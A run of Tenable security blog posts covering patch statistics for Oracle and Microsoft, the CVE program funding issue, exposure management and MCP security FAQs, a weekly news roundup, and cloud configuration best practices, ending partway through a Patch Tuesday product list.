Tenable Blog

Oracle addresses 171 CVEs in its second quarterly update of 2025 with 378 patches, including 40 critical updates.

Background

On April 15, Oracle released its Critical Patch Update (CPU) for April 2025, the second quarterly update of the year. This CPU contains fixes for 171 unique CVEs in 378 security updates across 32 Oracle product families. Out of the 378 security updates published this quarter, 10.6% of patches were assigned a critical severity. Medium severity patches accounted for the bulk of security patches at 54.5%, followed by high severity patches at 32.3%.

This quarter’s update includes 40 critical patches across 15 CVEs.

SeverityIssues PatchedCVEsCritical4015High12252Medium20698Low106Total378171Analysis

This quarter, the Oracle SQL Developer product family contained the highest number of patches at 103, accounting for 27.3% of the total patches, followed by Oracle Hyperion at 43 patches, which accounted for 11.4% of the total patches.

A full breakdown of the patches for this quarter can be seen in the following table, which also includes a count of vulnerabilities that can be exploited over a network without authentication.

Oracle Product FamilyNumber of PatchesRemote Exploit without AuthOracle SQL Developer10382Oracle Hyperion432Oracle Secure Backup4235Oracle Communications3422Oracle E-Business Suite3126Oracle Commerce1611Oracle Enterprise Manager1511Oracle JD Edwards1111Oracle Hospitality Applications85Oracle Database Server73Oracle TimesTen In-Memory Database76Oracle REST Data Services65Oracle Analytics65Oracle Essbase42Oracle Communications Applications44Oracle Insurance Applications41Oracle MySQL42Oracle Policy Automation44Oracle Construction and Engineering32Oracle Financial Services Applications32Oracle Food and Beverage Applications32Oracle Java SE33Oracle PeopleSoft32Oracle Supply Chain30Oracle NoSQL Database22Oracle Retail Applications20Oracle Siebel CRM22Oracle Application Express11Oracle Autonomous Health Framework10Oracle GoldenGate11Oracle Graph Server and Client10Oracle Fusion Middleware11Solution

Customers are advised to apply all relevant patches in this quarter’s CPU. Please refer to the April 2025 advisory for full details.

Identifying affected systems

A list of Tenable plugins to identify these vulnerabilities will appear here as they’re released. This link uses a search filter to ensure that all matching plugin coverage will appear as it is released.

Get more information

• Oracle Critical Patch Update Advisory - April 2025
• Oracle April 2025 Critical Patch Update Risk Matrices
• Oracle Advisory to CVE Map

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

MITRE’s CVE program has been an important pillar in cybersecurity for over two decades. While CISA secured funding on April 16 to extend the program for the next year, the lack of clarity surrounding its long-term future creates great uncertainty about how newly discovered vulnerabilities will be cataloged.

Updated Apr 16, 2025: The Cybersecurity and Infrastructure Security Agency (CISA) has stepped in to secure funding for the next year and ensure there will be no lapse in critical CVE services. Additionally, a coalition of CVE Board members have launched the CVE Foundation, a non-profit organization intending to maintain stability and independence of the CVE program.

Background

On April 15, reports circulated that the contract for funding the Common Vulnerabilities and Exposures (CVE) program along with other related programs, such as Common Weakness Enumeration (CWE), would be expiring on April 16. The letter below was sent to CVE Board Members and published on social media and other forums announcing the expiration of these programs:

The legitimacy of this letter and its contents was confirmed by cybersecurity journalist Brian Krebs in a post on Mastodon. Tenable has also independently confirmed the letter’s legitimacy.

CVE program importance

While flawed in some ways, the CVE program, which recently celebrated its 25th anniversary, has been an important pillar in cybersecurity for over two decades. It provides a common taxonomy for cybersecurity solutions and organizations to track vulnerabilities and exposures. Since its launch in 1999, the CVE program has published over 250,000 CVEs as of the end of 2024.

Risk to CVE program

With the report that the funding for the CVE program is potentially set to expire on April 16, the biggest concern stems from the fact that CVE Numbering Authorities, or CNAs, will no longer be able to reserve and assign CVEs for newly discovered vulnerabilities. While CNAs typically try to reserve a block of CVEs, the lack of transparency surrounding the future of the CVE program creates uncertainty surrounding newly discovered vulnerabilities. The historical CVE database will remain intact on GitHub following the expiration of the CVE program. However, MITRE’s CVE program also provides a centralized repository of CVEs from which many organizations fetch data and this may disappear. The lack of this centralized repository will create difficulties going forward for tracking new and noteworthy vulnerabilities under a common identifier.

Tenable’s response to the potential expiration of the MITRE CVE program

Tenable is closely monitoring the situation surrounding the possible expiration of the CVE program funding.

Last year, when we learned about NIST’s National Vulnerability Database (NVD) experiencing delays surrounding analysis efforts, we highlighted that Tenable Vulnerability Management products utilize a diverse range of sources for CVSS scoring and our customers experienced little to no impact.

As a provider of vulnerability scanning technology, we are not dependent on the CVE program directly for our vulnerability coverage. We develop our vulnerability coverage against vendor advisories directly, and will continue to do so, so long as vendors make those advisories available whether they contain CVE identifiers or not. Tenable also provides its customers with a richly sourced and curated Vulnerability Intelligence feed that provides contextualized information for any given vulnerability, regardless of a CVE assignment or not.

Tenable is a CNA, and we allocate CVEs for our vulnerability disclosures through our Tenable Research Advisories page. We also have reserved a large number of CVE designators for disclosures to ensure the cybersecurity community has clear identity for future discovered vulnerabilities.

As new developments surrounding the CVE program emerge, we will update this blog post accordingly.

Get more information

• MITRE Warns CVE Program Faces Disruption Amid US Funding Uncertainty

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In this post, we feature the first Exposure Management Academy FAQ. We’ll run these FAQs from time to time to share some of the most common questions we receive about exposure management. You can read the entire Exposure Management Academy series here.

By Team Tenable

Here at the Exposure Management Academy, we get questions all the time. So we’re inaugurating an occasional FAQ series this week with an up-close look at exposure management itself, the role of AI in exposure management and how cyber exposure management and cloud security work together. In future FAQs, we’ll cover a range of topics. Stay tuned. 

What is exposure management?

It’s the essential question that always comes first: Just what is exposure management? In our first Exposure Management Academy post we covered what exposure management is and why it matters in depth. 

But for this FAQ, we’ll keep it short. Exposure management gives teams visibility and context across the modern attack surface so they can separate the actual exposures that can have a material impact on the business from all the noise. This means that your team can minimize churn and help prevent breaches by closing the exposures (or toxic risk combinations) attackers exploit before attacks get underway.

As the natural evolution of vulnerability management, exposure management extends visibility to include all preventable risks across the attack surface: Common Vulnerabilities and Exposures, misconfigurations, excessive permissions and all asset types — multi-cloud, IT, OT, IoT, identities, applications, containers, as well as unseen and unmanaged assets. 

Unlike traditional security prioritization approaches, exposure management requires a mindset shift. Not all risk is created equal and not every risk needs to be addressed instantly. Instead, exposure management combines threat intelligence, such as accessibility and exploitability of risks, with technical and business context, including attack paths leading to crown jewels, to prioritize remediation of toxic risk that is most likely to have an impact on your organization.

How does exposure management use AI?

At the heart of exposure management is the need to unify visibility, insight and action across traditionally siloed tools, processes and staff. Solving this challenge requires more than just aggregation of data in a central repository. 

Artificial intelligence plays a critical role in exposure management by deduplicating, correlating and normalizing asset and risk data across typically siloed tools and technologies. It maps the complex data relationships needed to identify and visualize toxic risk combinations and attack paths, which prioritizes business-impacting exposures. Plus, it enriches decision making with additional context, such as threat intelligence and MITRE techniques, to provide the remediation guidance needed to quickly and effectively mobilize teams.

Exposure management platforms typically put an array of AI flavors to work, including generative artificial intelligence, deep learning, AI and machine learning to fuel its capabilities. They help improve end-user productivity and enable preventive security in three ways:

• Help explain: AI can provide succinct guidance so you can better understand product findings.
• Conduct a search: AI can simplify searching across your asset inventory, which provides complete visibility.
• Take action: AI can proactively give you insights for actions that will have the most impact on your exposures.

Exposure management platforms also offer a wide range of assessment methods that surface AI software packages, libraries and browser plugins. This capability helps you to see unauthorized AI usage, detect AI vulnerabilities and gain clarity on AI development occurring within your organization.

For Tenable, AI is integral to the functionality of the Tenable One Exposure Management Platform. Below are some examples of how we put AI to work in the product to solve other complex challenges, such as:

• Identifying vulnerabilities that attackers are likely to exploit in the short term: Machine learning-based algorithms power our Vulnerability Priority Rating (VPR). By analyzing each vulnerability regularly to determine how likely it is that an exploit could be used against it, VPR provides a score you can use to prioritize your remediation efforts.
• Predicting the operating system (OS) of an unauthenticated asset: Machine learning-based algorithms enable Tenable to use host response to TCP packet data to predict the OS of an unauthenticated asset. This increases vulnerability assessment and inventory accuracy.
• Improving the efficiency and effectiveness of common processes: Generative AI-based research tools improve the efficiency and effectiveness of processes like reverse engineering, code debugging, web app security and visibility into cloud-based tools.
• Achieving a unified view of privileges: AI-based methods deliver a holistic view of all user identities and entitlement risks, including on-premises and cloud environments.

Is exposure management cloud-based?

Yes, you should expect an exposure management solution to be cloud-based for some very strategic reasons. 

First, exposure management requires continuous assessment of the threat landscape and dynamically changing environments, such as containers and Kubernetes. That calls for a highly scalable data platform with the storage and compute power necessary to process trillions of unique asset, identity, risk and threat data points.

Exposure management platforms often collect data through API integrations with existing point security tools that are usually cloud-based, including cloud security posture management, external attack surface management, vulnerability management, identity and access management, endpoint detection and response/extended detection and response, configuration management database and cloud infrastructure and entitlement management. These integrations are far easier, faster and more robust when the platform itself is cloud-native and API-first.

In addition, exposure management requires advanced relationship mapping and analysis, such as attack path modeling, machine learning for prioritization and AI-generated remediation guidance. These compute-heavy tasks are best handled in cloud environments built for data science and real-time inference.

Organizations can deploy a SaaS-based exposure management platform in days rather than months and quickly deliver continuous improvements. It also enables continuous delivery of new capabilities, such as new risk models, threat intelligence and exposure logic.

Have a question about exposure management you’d like us to tackle?

We’re all ears. Share your question and maybe we’ll feature it in a future post.

 MktoForms2.loadForm("//info.tenable.com", "934-XQB-568", 14070);

If it feels like your entire cybersecurity program is once again operating on a geopolitical fault line, you're not imagining things.

The intersection of global politics and cybersecurity has grown a whole lot messier — and more consequential — in recent weeks. With the current U.S. Administration turning up the heat on China through aggressive tariffs and foreign policy pressure, the ripple effects on cybersecurity are no longer hypothetical. They’re here. And they’re accelerating.

Trade wars mean cyber wars

Let’s start with the obvious: the U.S.-China trade war. After the administration slapped 145% tariffs on key Chinese imports, Beijing didn’t just fume — they likely leveraged their extensive access to our infrastructure. Literally. According to a recent Wall Street Journal report, Chinese officials quietly acknowledged involvement in attacks on U.S. critical infrastructure. The message? Cyber is the battlefield.

Cybersecurity advisor and author Tom Kellermann has said that attacks by the Chinese state-backed Salt Typhoon and Volt Typhoon operations have enabled infiltration of U.S. critical infrastructure. These intrusions could be leveraged today for intelligence in these times of escalating tensions as well as tomorrow for more destructive attacks if relations truly deteriorate. 

And increases in cyber activity exploiting U.S. tariff policies have been noted by BforeAI CEO Luigi Lenguito in the last few weeks, with criminals already engaging in invoice fraud and other scams involving shipping company impersonation.

This isn’t just state-on-state stuff. The private sector is feeling the pressure. A growing number of threat analysts are flagging a rise in industrial espionage and IP theft attempts, particularly targeting sectors tied to strategic national interests — energy, tech and semiconductors.

The private sector is carrying more of the cyber defense load

With the federal government currently reevaluating roles, budgets and security clearances across key cybersecurity agencies, more of the frontline burden is shifting to the private sector. This transition is happening just as geopolitical tensions are driving up the volume and sophistication of attacks.

Critical industries — like energy, finance, healthcare and manufacturing — are increasingly being targeted by state-aligned threat actors. These organizations are expected to maintain operational readiness, detect threats, and respond quickly.

For cybersecurity professionals, this shift means greater responsibility, higher stakes and a growing need for clarity around real risk. Now more than ever, visibility and proactive defense strategies are essential. Preventing an attack is so much more important, and actually cheaper, than cleaning up in the aftermath.

Your vendors are feeling it, too

The entire security ecosystem is absorbing the shockwaves from rapidly changing economic policy. Tariffs on Chinese-made chips and components are complicating hardware supply chains and raising costs across the board. Some cybersecurity vendors are bracing for delays and price hikes, which could mean you’re waiting longer (and paying more) for upgrades to critical infrastructure.

And yet — despite all of this — some U.S. companies are doubling down on their ties with China. A recent survey conducted by the U.S. Chamber of Commerce found that 70% of firms who responded plan to maintain or even increase engagement.

What you should be watching (and doing)

So, what does this mean for those of us on the front lines of cyber defense? Here are some recommendations for moving forward in these conflicted times:

• Build geopolitical risk into your threat models. These tensions aren’t going away — they’re now part of the everyday threat landscape.
• Pressure-test your supply chain visibility. Tariff-driven changes could leave you exposed to unvetted tech or delays that weaken your defenses.
• Track policy shifts like you would threat intel. What’s happening in Washington and abroad is directly shaping your risk profile. Avoid operational paralysis associated with government changes and instead double down on security to thwart learned helplessness.
• Advocate for the resources you need. If your leadership is second-guessing security investments, the headlines are your best argument.
• Routinely assess your posture management. The threat from both nation-state and cybercriminals will only increase over the next six to 12 months. Periodically measure your exposure to attack using a proven cybersecurity framework and tooling that measures compliance to the listed security controls.
• Take a proactive stance. Don’t wait for an alert to tell you something’s wrong. Implement an exposure management program to help you understand your real risk before attackers do, so you can take action before exposures become breaches.

Cybersecurity efforts are often reactive — teams scramble to respond to new cyber threats as they arise. In today’s world, reactive security is not only inadequate; it’s irresponsible, and it puts national security at risk. A proactive approach is what’s needed in these turbulent times. One in which organizations use accurate assessment of real-world risks to address the most critical vulnerabilities, misconfigurations and overprivileged identities before they can be used in an attack. The more unstable the geopolitical climate, the more essential it is to proactively reduce your organization’s exposure and bolster its proactive defenses.

Check out why a global geopolitical spyware campaign could ensnare mobile users outside of its target groups. Plus, the U.K.’s cyber agency offers cyber governance resources to boards of directors. Also, find out what webinar attendees told Tenable about using port scanning and service discovery to detect attack paths. And much more!

Dive into five things that are top of mind for the week ending April 11.

1 - Alert: Mobile spyware campaign could spill beyond targeted victims

Attackers are spreading two spyware variants in an attempt to infect mobile devices of individuals and groups tied to causes that the Chinese government opposes. 

However, all mobile users should take heed because the campaign is global and aggressive, meaning anyone could become a victim.

So said cyber agencies from Australia, Canada, Germany, New Zealand and the U.S. in joint advisories this week, outlining how attackers are targeting supporters of various China-related movements with the BadBazaar and Moonshine spyware variants.

“The indiscriminate way this spyware is spread online also means there is a risk that infections could spread beyond intended victims,” reads one advisory. 

Those targeted include journalists, non-governmental organizations, businesses and representatives of groups associated with:

• Taiwanese independence
• Tibetan rights
• Uyghur Muslims
• Hong Kong democracy advocacy
• Falun Gong movement

 

 

Moonshine and BadBazaar are two types of trojan malware, meaning attackers hide them in legit-looking mobile applications that users voluntarily download. In this particular campaign, attackers are embedding Moonshine and BadBazaar in applications designed to appeal to the intended victims, such as a Uyghur keyboard app and a Tibet-related app.

Once a user inadvertently installs a malicious app, attackers use it to obtain the mobile device’s location data in real-time; access its microphone and camera; retrieve stored messages and photos; and more.

 The cyber agencies’ mitigation recommendations include:

• Don’t root or jailbreak your mobile device, as this leaves it more vulnerable to cyber attacks.
• Only download apps from trusted app stores like those from Google and Apple.
• Periodically review your installed apps and their permissions, deleting apps you no longer use and restricting excessive permissions.
• Be careful with links, files and apps shared on social media sites, online forums and messaging tools. Scan links with a URL reputation service before clicking on them, and upload suspicious files or apps to a malware analyzer.

The advisories mention a Chinese IT services firm with ties to China’s government as being possibly linked to the spyware campaign. However, the Chinese Embassy in Washington, D.C. told the Reuters news agency that the Chinese government isn’t involved in this situation.

To get more information, check out these resources from the U.K. National Cyber Security Centre (NCSC):

• The announcement “NCSC and partners share guidance for communities at high risk of digital surveillance”
• The advisory “BadBazaar and Moonshine: Spyware targeting Uyghur, Taiwanese and Tibetan groups and civil society actors”
• The technical advisory “BadBazaar and Moonshine: Technical analysis and mitigations”

For more information about protecting mobile devices against spyware attacks:

• “How to find and remove spyware from your phone” (ZDNet)
• “Did you know a VPN can protect you from spyware? Here's how” (Yahoo Tech)
• “Your Android phone could have stalkerware — here’s how to remove it” (TechCrunch)
• “Apple: Mercenary spyware attacks target iPhone users in 92 countries” (BleepingComputer)
• “Why rebooting your phone daily is your best defense against zero-click attacks” (ZDNet)

2 - NCSC offers cyber governance resources for corporate boards

With cybersecurity governance now one of their main responsibilities, boards of directors need strong cybersecurity knowledge – but many are lacking in this area.

That’s why the U.K. National Cyber Security Centre this week published a package of cyber governance resources for board members.

“From my experience of working with senior leaders across private and public sectors, I know that strong cyber governance is key to resilience, growth, and long-term success. Board members play a vital role in making this happen,” NCSC CEO Richard Horne wrote in a blog.

 

 

The NCSC cyber governance resources for board members include:

• The “Cyber Governance Code of Practice,” which outlines the board’s responsibilities in these five key governance areas:
   
  • Risk management
  • Strategy
  • People
  • Incident planning, response and recovery
  • Assurance and oversight
     
• The “Cyber Governance Training” document, which provides five interactive training modules, each focusing on one of the “Code of Practice” principles
   
• The “Cyber Security Toolkit for Boards,” which explains how to implement the five key cyber governance areas
  
  For example, for risk management the toolkit unpacks how to identify the organization’s critical assets and how to collaborate with its supply chain partners. In the strategy area, it goes into how to embed cybersecurity into the organization and what cybersecurity regulations are relevant to boards.

For more information about cyber governance guidance for boards of directors:

• “Principles for Board Governance of Cyber Risk” (Harvard Law School)
• “NACD Director's Handbook on Cyber-Risk Oversight” (National Association of Corporate Directors)
• “A cybersecurity guide for board directors” (Corporate Governance Institute)
• “How boards can effectively oversee AI to drive value and responsible use” (PwC)
• “Guidelines on the Corporate Governance of Cybersecurity” (Board Foundation)

3 - Tenable poll looks at port scanning for attack path detection

During a recent webinar about Tenable Nessus, we polled attendees about their use of port scanning and service discovery to detect attack paths. Check out what they said.

(65 webinar attendees polled by Tenable, April 2025 – Respondents could choose more than one answer.)

(75 webinar attendees polled by Tenable, April 2025)

(76 webinar attendees polled by Tenable, April 2025)

Watch the full “Nessus Customer Update, April 2025” webinar on-demand to learn what’s new and coming soon in Nessus, and to get more details about identifying attack paths using port scanning and service discovery.

4 - Report: Fewer U.K. businesses hit by cyber attacks, but challenges persist

The percentage of U.K. businesses that suffered a cyber breach or attack dropped to 43% last year from 50% in 2023, but the cybersecurity challenges they face remain daunting.

That’s the main takeaway from the U.K. government’s “Cyber Security Breaches Survey 2025,” which in addition to businesses also surveyed charities and educational institutions. 

“The 2025 survey emphasises that while progress is being made in certain areas, evolving threats like phishing and ransomware, and disparities between different types of organisations highlight persistent vulnerabilities,” reads the report, which was published this week.

Key findings from the report include:

• Phishing remains by far the most prevalent type of breach or attack, suffered by 85% of businesses.
• Among small businesses, the adoption of cyber hygiene practices increased, including cyber risk assessments; business continuity plans; and formal cyber policies.
• Basic cyber controls are in place in the majority of businesses, including malware protection; password policies; network firewalls; and resticted admin rights.
• Adoption of advanced controls remains low, including multi-factor authentication (40%); VPNs for remote access (31%); and user monitoring (30%).
• Management of supply chain risks is extremely low, with only 14% of businesses assessing risks from direct suppliers and only 7% doing so for their entire supply chain.

For more information about phishing protection:

• “How To Recognize and Avoid Phishing Scams” (U.S. Federal Trade Commission)
• “How to defend your organisation from email phishing attacks” (NCSC)
• “How AI is making phishing attacks more dangerous” (TechTarget)
• “Teach Employees to Avoid Phishing” (U.S. Cybersecurity and Infrastructure Security Agency)
• “Top 10 tips for employees to prevent phishing attacks” (TechTarget)

5 - CIS updates Benchmarks for Apple, Microsoft, Cisco products

Apple macOS, Microsoft Windows 11 Enterprise and Cisco NX-OS are some of the products whose Center for Internet Security (CIS) Benchmarks got an update in March.

Specifically, these secure-configuration recommendations were updated:

• CIS Amazon Web Services Foundations Benchmark v5.0.0
• CIS Apple macOS 12.0 Monterey Cloud-tailored Benchmark v1.1.0
• CIS Apple macOS 15.0 Sequoia Cloud-tailored Benchmark v1.1.0
• CIS Cisco NX-OS Benchmark v1.2.0
• CIS Kubernetes Benchmark v1.11.0
• CIS Microsoft Azure Foundations Benchmark v4.0.0
• CIS Microsoft Windows 11 Enterprise Benchmark v4.0.0
• CIS Ubuntu Linux 20.04 LTS Benchmark v3.0.0
• CIS VMware ESXi 8.0 Benchmark v1.2.0

 

In addition, CIS released these two brand new Benchmarks: 

• CIS Microsoft Windows Server 2025 Benchmark v1.0.0
• CIS Oracle Database 23ai Benchmark v1.0.0

The CIS Benchmarks are secure-configuration guidelines designed to help organizations harden products against cyber attacks. CIS offers more than 100 Benchmarks for 25-plus vendor product families in categories including:

• cloud platforms
• databases
• desktop and server software
• mobile devices
• operating systems

To get more details, read the CIS blog “CIS Benchmarks April 2025 Update.”

For more information about the CIS Benchmarks list, check out its home page, as well as:

• “Getting to Know the CIS Benchmarks” (CIS)
• “Security Via Consensus: Developing the CIS Benchmarks” (Dark Reading)
• “How to Unlock the Security Benefits of the CIS Benchmarks” (Tenable)
• “CIS Benchmarks Communities: Where configurations meet consensus” (Help Net Security)
• “CIS Benchmarks: DevOps Guide to Hardening the Cloud” (DevOps)

The emergence of Model Context Protocol for AI is gaining significant interest due to its standardization of connecting external data sources to large language models (LLMs). While these updates are good news for AI developers, they raise some security concerns. In this blog we address FAQs about MCP.

Background

Tenable Research has compiled this blog to answer Frequently Asked Questions (FAQ) regarding Model Context Protocol (MCP).

FAQ

What is Model Context Protocol (MCP)?

Model Context Protocol (MCP) is an open-source standard created by Anthropic that provides a universal method to connect external data and actions to large language models (LLMs). It provides the methods to allow an LLM to detect what resources it has at its disposal, and understand when and why it would use those resources to answer or enhance the task it is working on.

Examples of external data that an AI could access include local file systems, databases, APIs, SaaS applications and more.

In a way, the MCP allows an LLM to provide a deterministic request of data or actions to assist in answering questions with data outside of its training.

MCP is quickly becoming a standard that many AI companies are implementing.

Why is there so much interest in MCP?

MCP is gaining significant interest due to its standardization of connecting external data sources to LLMs. A developer can now write an integration for an LLM once and use it across a variety of tools and LLMs that utilize MCP. "App stores" and "marketplaces" of MCP servers are available for quick integration into your environment. Services to help create custom MCP servers specifically for you are available.

Is this the first time LLMs could interact with external data and sources?

Agentic AI, which has the capacity to act autonomously, can take actions and work with external sources, but implementation is unique to each tool. Solutions like LangFlow help by standardizing some of the tooling and can interact with multiple LLMs within its specific framework. However, the MCP specification takes this standardization to the next level, where an integration can be created and used across multiple solutions.

How do I get started working with MCP?

MCP requires a host application, colloquially called a client and a server. The host application orchestrates communication between an LLM and the interfaces that communicate with the MCP servers.

The foundational example is using Claude Desktop to add a filesystem MCP server, as outlined at Quickstart for Claude Desktop Users. This example shows what it takes to add a filesystem server to Claude Desktop to provide local filesystem information to Claude.ai. While Claude Desktop is the proving ground for MCP servers, many other clients exist that improve the user experience.

Online directories of MCP clients and servers are becoming available, such as MCP Clients | Glama and Open-Source MCP Servers | Glama.

How does MCP work?

MCP uses a client/server architecture to allow LLMs to interact with external data. This is accomplished using three primary components; host, client and server.

• A host application is used to manage the interaction between LLMs and a number of MCP clients. Many popular MCP hosts include Claude Desktop, Claude Code, Cursor, Windsurf, and editor integrations like Cline and Continue.
• The client is an interface that runs in the host application and allows the LLM to interact with the server by maintaining a one-to-one connection with a server.
• The server is a small application that communicates with the client using the MCP protocol, and provides standardized processes to list various capabilities as well as responds to requests for relevant data or actions.

Source: Tenable, April 2025

While these components are discussed as separate components, they can be a part of a single application or separate applications. The most common configuration seen at time of publishing this FAQ consists of the client integrated into the host application and communicating to the server over secure transports using JSON-RPC.

What type of capabilities do MCP servers offer?

MCP servers offer different capabilities to clients to support the retrieval of data along with actions taken on data. The following capabilities are available:

• Resources are data stores available for the LLM to keep track of. These can include files, database schema information and console logs. Resources are loaded at time of a chat initiation and should be used to avoid repeated requests of static data.
• Tools take actions. Examples include retrieving content from files, inserting data into a database, replying to emails and more.
• Prompts allow the server to provide useful and reusable prompts to the client. Many implementations of the application hosts allow methods to list the prompts using a "quick list" concept, such as hitting a "/" key to bring up a list of prompts that are available. The prompts can also be used as templates that can be dynamically populated with user inputs.

Currently, "tools" are the most impactful capability offered by MCP and what garners much of the media's attention.

Is it safe for me to use MCP servers?

MCP relies heavily on trust.

• Trust that the host application is controlling access to the clients
• Trust that the client is using secured transports with the server
• Trust that the server has implemented secure practices when it is accessing resources

Users should seek out MCP servers from reputable sources. However, always remember to "trust but verify," and do not install unknown software in your environment.

How does the MCP host implement security?

The host application should implement controls that allow the user of the application to approve tools prior to using them. Many of the mainstream applications already have methods to verify that the tool usage is acceptable. For example, on the first time attempting to call the tool, Claude Desktop provides a choice of "use once" or "use for the entire chat session." Other applications, like Cline, may have a method to "auto approve" different tools or applications. The amount of information provided to the user in these verification dialogs can vary.

What controls are available for transport security?

There are two primary transports; STDIO and Server Sent Events (SSE).

• When the client and server exist on the same computer, STDIO is the preferred transport. STDIO sends the output of the client straight to the input of the server and the output of the server to the client. The transport can only be attacked if the local system is compromised.
• When the client and server do not exist on the same computer then SSE is used to transport the JSON messages over HTTP connections. This allows the communication to use standard HTTP security options, such as SSL transports and Open Authentication (OAuth) authorization.

Ok, so what are the biggest risks to using MCP?

The biggest risk to using MCP is the injection of malicious servers. Since all registered servers have a single point of reference in the host application and LLM, malicious servers can poison the LLM or abuse the tools of other legitimate servers. As the MCP ecosystem matures we expect to see formalization of concepts like MCP security certification, server integrity monitoring and standardization of logging for monitoring. We will begin to see MCP “App Stores” where collections of MCP servers can be easily pulled into existing tools from a central repository.

The specification for MCP highly recommends authentication and authorization for remote servers, but it is not required. However, developers of MCP servers may not consider the network security of the MCP servers and not implement these recommendations.

Any MCP servers that are remotely accessible can be susceptible to man in the middle attacks or remote attacks. Make sure any MCP servers that use a network based transport have implemented strong authentication and authorization.

What can I do to protect my information while using MCP?

As the technical solutions and capabilities for securing MCP solutions evolve the current recommendations are to use solid cybersecurity best practices. Some of the top things that you can do include the following:

• Detect and inventory your MCP installations and configurations across your environment. With MCP being in early adoption, this is not as simple as monitoring a centralized server, but more likely requires close inspection of endpoints for configuration files. Knowledge and approval of MCP usage is key to maintaining integrity in the environment.
• Control access and monitor the resources that MCP servers are accessing. Whether the resources are local to the endpoints or SaaS applications, monitoring the access of these resources through logging and auditing is a requirement.
• Train the people that are using MCP in their job duties. Make sure they understand the impact of a tool before authorizing its use. The core topics of the MCP specification is that the user must consent and authorize operations before use, and training will provide the understanding required to make that determination.

Is Tenable looking into safety and security concerns surrounding MCP implementations?

Yes, Tenable Research is actively researching MCPs and will be sharing more of our findings in future publications on the Tenable blog.

Get more information

• Anthropic: Introducing the Model Context Protocol

Mismanaging configurations in your multi-cloud environment can put you at an elevated risk for cyber attacks. In the first installment of our “Stronger Cloud Security in Five” blog series, we outline five best practices for boosting your cloud configuration management.

A misconfigured web application firewall. A publicly accessible and unprotected cloud database. An overprivileged user identity. Lax access control to containers. Unchanged default credentials.

Those are just some of the many configuration oversights and mistakes that attackers can leverage to breach your cloud environment, hijack user accounts, steal data and more. In addition, having misconfigured cloud resources puts your organization on the wrong side of regulatory compliance, and thus open to costly penalties, fines and litigation. 

In a vacuum, it would seem simple to button up most cloud misconfigurations. Surely, we can all agree that leaving an Amazon Web Services (AWS) Simple Storage Service (S3) storage bucket open to anyone on the internet is a no-no. Yet, the “Tenable Cloud Risk Report 2024,” based on an analysis of millions of cloud resources scanned through the Tenable Cloud Security platform, found that 74% of organizations have publicly exposed cloud storage.

The reality is that cloud misconfigurations are prevalent. In fact, misconfigurations and inadequate change controls ranked first on the Cloud Security Alliance’s “Top Threats to Cloud Computing 2024" report. “Given a cloud’s persistent network access and infinite capacity, misconfigurations can have wide-reaching impacts across an organization,” the CSA tells us in that report. 

Why do even large multinationals – with massive resources and stellar IT, cybersecurity and compliance staff – routinely fail to properly configure their cloud environments?

In a nutshell: With cloud environments having myriad moving parts and being so dynamic, managing configurations is complicated if you lack the proper processes and tools. 

Here are five best practices you can apply immediately to harden your cloud configurations.

1 - Centralize and automate the configuration management of your multi-cloud environment

If your organization is like most others, it uses multiple cloud security providers (CSPs) — each with its own configuration settings and with its own shared responsibility model for divvying up security tasks with customers.

That’s why you need a vendor-agnostic, centralized cloud-native application protection platform (CNAPP) with a strong cloud security posture management (CSPM) component.

With CSPM tools, you’ll be able to centrally harden configurations across your multi-cloud environment by consistently and continuously adopting, monitoring and enforcing security policies in areas such as access control and data encryption.

Without an automated, centralized system, you won’t have holistic and comprehensive visibility of your configurations across all your clouds and your organization will be at heightened risk of cyber attacks.

CSPM allows you to continuously scan all your cloud assets and resources and get an unobstructed view of all your detected misconfigurations. Then you can prioritize and document their remediation in compliance reports for your leaders, auditors and regulators.

2 - Implement least-privilege access across your multi-cloud environment

User and machine identities with excessive privileges pose a major risk in cloud environments because during a breach attackers can leverage those permissions to move deeper into your network. “Initial malicious access attempts on cloud resources frequently target user credentials,” the U.S. Cybersecurity and Infrastructure Security Agency (CISA) points out in its publication “Use Secure Cloud Identity and Access Management Practices.”

Thus, your CNAPP should have a comprehensive cloud infrastructure entitlement management (CIEM) component with granular identity and access management (IAM) capabilities. That’ll allow you to audit your multi-cloud identities and ensure they have the minimum access rights and capabilities they need. This is the concept of least privilege.

At a high level, you need to continuously discover all of your cloud infrastructure’s human and machine identities; understand their scope of cloud-resource access and permissions; assess identities’ level of risk; and make necessary least-privilege adjustments.

3 - Automatically check configurations against compliance frameworks 

Offering policy-as-code (PaC), your CNAPP should automate the process of codifying policies; regularly checking how compliant your multi-cloud environment is with industry, regulatory and internal compliance frameworks; and of generating in-depth audit reports. It should provide actionable findings and automate the process of fixing insecure and faulty configurations.

This will yield multiple benefits for your organization, including:

• Quieting alert noise 
• Proactively managing compliance
• Prioritizing remediation based on risk
• Boosting security operations

4 - Secure your Kubernetes clusters

Trying to manually assess the security of your Kubernetes clusters and fix configuration issues is a losing proposition, especially because many Kubernetes resources are ephemeral and come with default configurations. As Tenable Senior Principal Product Marketing Manager Lior Zatlavi explains in a blog: "The complexity of Kubernetes, combined with its dynamic and distributed nature, makes it a daunting task to ensure that clusters are secure from threats.” 

That’s why your CNAPP should have a Kubernetes security posture management (KSPM) tool that gives you:

• Complete, deep and contextual visibility into your Kubernetes resources, including nodes, namespaces, deployments, servers and service accounts 
• An admission controller that facilitates deployment and management by enforcing policy-as-code
• Detection of misconfigurations by scanning Helm charts
• UI-driven container workload protection

5 - Ingest and enrich log data from your CSPs

Organizations often overlook the importance of monitoring and analyzing the event and activity logs from their cloud environments that their CSPs collect. In fact, logs are critical for configuration management. 

To gain granular insights into the causes and impacts of cloud misconfigurations and to respond appropriately, you need a CNAPP that enriches the logging data from your CSPs with security data and continuously analyzes risk. 

This enriched log data will give you context and actionable information to maintain consistent and secure configurations that reduce your risk and keep you compliant.

Learn how you can take action to boost your cloud security in just five minutes.

1. 11Critical
2. 110Important
3. 0Moderate
4. 0Low

Microsoft addresses 121 CVEs including one zero-day which was exploited in the wild.

Microsoft patched 121 CVEs in its April 2025 Patch Tuesday release, with 11 rated critical and 110 rated as important.

This month’s update includes patches for:

• ASP.NET Core
• Active Directory Domain Services
• Azure Local
• Azure Local Cluster
• Azure Portal Windows Admin Center
• Dynamics Business Central
• Microsoft AutoUpdate (MAU)
• Microsoft Edge (Chromium-based)
• Microsoft Edge for iOS
• Microsoft Office
• Microsoft Office Excel
• Microsoft Office OneNote
• Microsoft Office SharePoint
• Microsoft Office Word
